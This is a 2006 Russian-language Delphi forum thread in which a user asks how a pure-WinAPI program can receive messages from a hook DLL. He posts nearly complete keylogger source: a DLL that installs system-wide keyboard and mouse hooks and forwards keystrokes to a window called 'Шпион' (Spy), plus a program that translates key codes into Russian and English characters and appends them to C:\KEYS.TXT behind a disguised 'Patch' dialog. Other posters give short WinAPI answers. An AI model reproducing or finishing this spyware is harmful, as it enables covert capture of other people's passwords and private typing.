![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
WinAPI проблема с type [D7, WinXP]
maxim123 © (2006-01-04 20:20:00)Здравствуйте.
Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в Type
Program Patch;
Uses windows,messages, shellapi;
type TWMU=record
msg:Cardinal;
UU1:Word;
UU2:Word;
UU3:LongInt;
Result:LongInt;
end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
// private
// procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;
maxim123 (2006-01-05 14:38:00) [1]вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru
Игорь Шевченко (2006-01-05 14:33:00) [2]А где форма на апи ?
maxim123 (2006-01-05 14:01:00) [3]поправочка в DLL вместо Tform1 NIL вместо шпион test
maxim123 (2006-01-05 13:55:00) [4]мда ну тогда приведу весь код
DLL
library hook;
uses
windows;
const
//Messages.pas;
WM_CHAR = $0102;
function KeyboardProc(code:Integer;wparam,
lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow('TForm1','Шпион'),WM_CHAR,wparam,0);
Result:=0;
end;
exports
KeyboardProc;
begin
end.
Сама программа
Program Patch;
Uses windows,messages, shellapi, SysUtils, Classes, dialogs;
//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
// procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;
var
Msg2:TWMKEY;
msg: tmsg;
win: hwnd;
h,z:hhook;
libhandle:HINST;
hkprcKeyboard: TFNHookProc;
x:integer;
{$R API.RES}
procedure setHookApi;
begin
end;
procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;
//Функция определения язака
function WinLang:Boolean;
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then Result:=False else Result:=True ;
end;
//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300) then
begin
if WinLang then begin
case Msg2.CharCode of
522: click:='[Rolik]';
519: click:='[Mouse3]';
520: click:='[Mouse3]';
513: click:='[MouseLeft]';
514: click:='[MouseLeft]';
516: click:='[MouseRight]';
517: click:='[MouseRight]';
8: click:='[BackSpase]';
9: click:='[Tab]';
13: click:='[Enter]';
16: click:='[Shift]';
17: click:='[Control]';
18: click:='[Alt]';
19: click:='[Pause]';
20: click:='[CapsLock]';
27: click:='[Esc]';
32: click:='[Space]';
33: click:='[PageUp]';
34: click:='[PageDown]';
35: click:='[End]';
36: click:='[Home]';
37: click:='[влево]';
38: click:='[вверх]';
39: click:='[вправо]';
40: click:='[вниз]';
44: click:='[PrtScr]';
45: click:='[Insert]';
46: click:='[Del]';
48: click:='0';
49: click:='1';
50: click:='2';
51: click:='3';
52: click:='4';
53: click:='5';
54: click:='6';
55: click:='7';
56: click:='8';
57: click:='9';
65: click:='ф';
66: click:='и';
67: click:='с';
68: click:='в';
69: click:='у';
70: click:='а';
71: click:='п';
72: click:='р';
73: click:='ш';
74: click:='о';
75: click:='л';
76: click:='д';
77: click:='ь';
78: click:='т';
79: click:='щ';
80: click:='з';
81: click:='й';
82: click:='к';
83: click:='ы';
84: click:='е';
85: click:='г';
86: click:='м';
87: click:='ц';
88: click:='ч';
89: click:='н';
90: click:='я';
91: click:='[WinKeyL]';
92: click:='[WinKeyR]';
93: click:='[ContextMenu]';
96: click:='0';
97: click:='1';
98: click:='2';
99: click:='3';
100: click:='4';
101: click:='5';
102: click:='6';
103: click:='7';
104: click:='8';
105: click:='9';
144: click:='[NumLock]';
111: click:='/';
106: click:='*';
109: click:='-';
107: click:='+';
110: click:='.';
112: click:='[F1]';
113: click:='[F2]';
114: click:='[F3]';
115: click:='[F4]';
116: click:='[F5]';
117: click:='[F6]';
118: click:='[F7]';
119: click:='[F8]';
120: click:='[F9]';
121: click:='[F10]';
122: click:='[F11';
123: click:='[F12]';
145: click:='[ScrollLock]';
186: click:='ж';
187: click:='=';
188: click:='б';
189: click:='-';
190: click:='ю';
191: click:='.';
192: click:='`';
219: click:='х';
220: click:='\';
221: click:='ъ';
222: click:='э';
end;
end else begin
case Msg2.CharCode of
522: click:='[Rolik]';
519: click:='[Mouse3]';
520: click:='[Mouse3]';
513: click:='[MouseLeft]';
514: click:='[MouseLeft]';
516: click:='[MouseRight]';
517: click:='[MouseRight]';
8: click:='[BackSpase]';
9: click:='[Tab]';
13: click:='[Enter]';
16: click:='[Shift]';
17: click:='[Control]';
18: click:='[Alt]';
19: click:='[Pause]';
20: click:='[CapsLock]';
27: click:='[Esc]';
32: click:='[Space]';
33: click:='[PageUp]';
34: click:='[PageDown]';
35: click:='[End]';
36: click:='[Home]';
37: click:='[влево]';
38: click:='[вверх]';
39: click:='[вправо]';
40: click:='[вниз]';
44: click:='[PrtScr]';
45: click:='[Insert]';
46: click:='[Del]';
48: click:='0';
49: click:='1';
50: click:='2';
51: click:='3';
52: click:='4';
53: click:='5';
54: click:='6';
55: click:='7';
56: click:='8';
57: click:='9';
65: click:='a';
66: click:='b';
67: click:='c';
68: click:='d';
69: click:='e';
70: click:='f';
71: click:='g';
72: click:='h';
73: click:='i';
74: click:='j';
75: click:='k';
76: click:='l';
77: click:='m';
78: click:='n';
79: click:='o';
80: click:='p';
81: click:='q';
82: click:='r';
83: click:='s';
84: click:='t';
85: click:='u';
86: click:='v';
87: click:='w';
88: click:='x';
89: click:='y';
90: click:='z';
91: click:='[WinKeyL]';
92: click:='[WinKeyR]';
93: click:='[ContextMenu]';
96: click:='0';
97: click:='1';
98: click:='2';
99: click:='3';
100: click:='4';
101: click:='5';
102: click:='6';
103: click:='7';
104: click:='8';
105: click:='9';
144: click:='[NumLock]';
111: click:='/';
106: click:='*';
109: click:='-';
107: click:='+';
110: click:='.';
112: click:='[F1]';
113: click:='[F2]';
114: click:='[F3]';
115: click:='[F4]';
116: click:='[F5]';
117: click:='[F6]';
118: click:='[F7]';
119: click:='[F8]';
120: click:='[F9]';
121: click:='[F10]';
122: click:='[F11';
123: click:='[F12]';
145: click:='[ScrollLock]';
186: click:=';';
187: click:='=';
188: click:=',';
189: click:='-';
190: click:='.';
191: click:='/';
192: click:='`';
219: click:='[';
220: click:='\';
221: click:=']';
222: click:='`';
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,'C:\KEYS.TXT');
If not FileExists('C:\KEYS.TXT') then Rewrite(F)else
Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;
maxim123 (2006-01-05 13:55:00) [5]Procedure trans;
type
TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
LWA_ALPHA = $2;
WS_EX_LAYERED = $80000;
var
LayeredWndAttr: TLayeredWndAttr;
i : integer;
begin
i := 50;
LayeredWndAttr := GetProcAddress(GetModuleHandle('user32.dll'),
'SetLayeredWindowAttributes');
SetWindowLong(FindWindow(nil,'test'), GWL_EXSTYLE, WS_EX_LAYERED);
LayeredWndAttr(FindWindow(nil,'test'), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;
Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;
Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
case LoWord(WParam) of
50: begin
trans;
setHookApi;
end;
// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;
Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;
begin
x:=0;
libhandle:=LoadLibrary('hook.dll');
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, 'KeyboardProc');
h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
api.rc
101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end
Gero (2006-01-05 13:44:00) [6]> SendMessage(FindWindow(nil,'Шпион'),WM_CHAR,wparam,0);
А ведь так потом и пишут в программах.
Игорь Шевченко (2006-01-05 13:39:00) [7]
> А примерчик можно
У тебя он уже есть - твоя "форма на WinAPI"
maxim123 (2006-01-05 12:39:00) [8]А примерчик можно
Игорь Шевченко (2006-01-05 12:37:00) [9]
> но как их принять???
Также, как другие сообщения - в оконной процедуре.
maxim123 (2006-01-05 12:36:00) [10]Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,'Шпион'),WM_CHAR,wparam,0);
но как их принять???
Игорь Шевченко (2006-01-05 10:27:00) [11]
> как обработать информацию приходящию на WinApi Форму
Очевидно в оконной процедуре ? Я угадал ?
Maxim123 (2006-01-04 20:56:00) [12]Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму